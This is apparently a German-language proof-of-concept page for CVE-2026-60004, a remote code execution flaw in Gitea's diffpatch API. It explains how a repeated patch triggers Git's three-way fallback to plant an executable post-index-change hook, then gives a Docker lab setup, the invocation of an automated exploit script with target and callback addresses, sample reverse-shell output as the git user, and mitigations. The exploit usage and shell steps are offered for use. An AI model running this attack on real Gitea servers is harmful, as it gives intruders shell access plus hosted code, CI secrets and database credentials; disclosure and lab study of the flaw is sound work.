Zurück zu den Updates
UpdatedAug 7, 2026

CVE-2026-60004 — Updated!

Gitea diffpatch RCE

Teilen

CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

https://github.com/user-attachments/assets/403a70f4-4ff4-4ab7-b11c-d73d70adaf0b


Übersicht

CVE-2026-60004 ist eine Remote-Code-Execution-Schwachstelle (RCE) in Gitea. Die diffpatch-API wendet einen übermittelten Patch mit git apply --cached an, das nur den Index berühren und niemals Dateien auf die Festplatte schreiben sollte. Durch das zweimalige Senden desselben Patches erzwingt ein Angreifer eine Add/Add-Kollision, die den Three-Way-Merge-Fallback (-3) von Git auslöst. Dieser Pfad ignoriert --cached und checkt die Datei in den Arbeitsbaum aus. Da der temporäre Klon bare ist, ist die Wurzel des Arbeitsbaums $GIT_DIR. Ein Patch, der ein ausführbares hooks/post-index-change erstellt, platziert daher einen aktiven Git-Hook, den Git beim nächsten Index-Update automatisch ausführt – und dabei Befehle als Gitea-Dienstkonto ausführt. Der Endpunkt erfordert Schreibzugriff auf das Repository, aber die Registrierung ist standardmäßig aktiviert, sodass jeder Benutzer, der sich anmelden und ein Repository erstellen kann, ihn erreichen kann.


Betroffene Versionen

KategorieVersion
VerwundbarGitea 1.17 ≤ Version ≤ 1.27.0
BehobenGitea 1.27.1 oder neuer

Auswirkungen

  • Remote-Code-Ausführung als Gitea-Dienstkonto (git)
  • Zugriff auf alle gehosteten Repositories, CI-Secrets und Datenbank-Anmeldedaten

Umgebung

Die verwundbare Gitea-Umgebung bauen und ausführen. Die Registrierung bleibt offen und der Server wird mit Git 2.32+ ausgeliefert, was den -3-Fallback aktiviert, auf den sich der Angriff stützt.

docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
VoraussetzungZustand in diesem Labor
Gitea 1.17 – 1.27.01.27.0
Git 2.32+ auf dem Server (aktiviert -3)2.54
Offene Registrierungaktiviert (Standard)
Schreibzugriff auf das Repositoryüber selbst registriertes Konto

PoC

Der Exploit wird vollständig von gitea_exploit.py automatisiert. Mit einem Konto, das ein Repository erstellen kann, erstellt es das Ziel-Repository, übermittelt denselben Patch wiederholt, bis Gits -3-Fallback auslöst, und fängt die Reverse Shell mit einem integrierten Listener ab – kein manuelles Setup, kein Patch-Basteln und keine Blob-Hash-Berechnung nötig.

# python3 gitea_exploit.py <Ziel-ip:port> <Callback-ip> [Callback-port]
python3 gitea_exploit.py 172.17.0.2:3000 172.17.0.3 4444 \
  --user test --pw 11111111 --repo rce

Der -3-Fallback feuert nur in bestimmten Timing-Fenstern, daher schleift das Skript create → send → send, bis es zuschlägt (Standard: 25 Versuche). Wenn ein Send blockiert, hat der Hook gefeuert und der Listener lässt dich in eine Shell als git fallen:

[*] Versuch  3/25 -> send#1 201, send#2 timeout   <- BLOCKIERT (gefeuert!)
[+] Shell von 172.17.0.2:53344 -- Befehle eingeben, Ctrl-C zum Beenden
uid=1000(git) gid=1000(git) groups=1000(git)

Optionen:

  • --no-listen — fange die Shell mit deinem eigenen externen nc statt mit dem integrierten Listener
  • --user / --pw / --repo / --branch — überschreibe das Standardkonto und das Ziel-Repository

Gegenmaßnahmen

  • Gitea auf 1.27.1 oder neuer aktualisieren
  • Offene Registrierung deaktivieren, falls nicht erforderlich (DISABLE_REGISTRATION=true)
  • Einschränken, wer die Instanz erreichen und Repositories erstellen kann

Analyse

  • KR: Coming soon!
  • EN:

Kategorien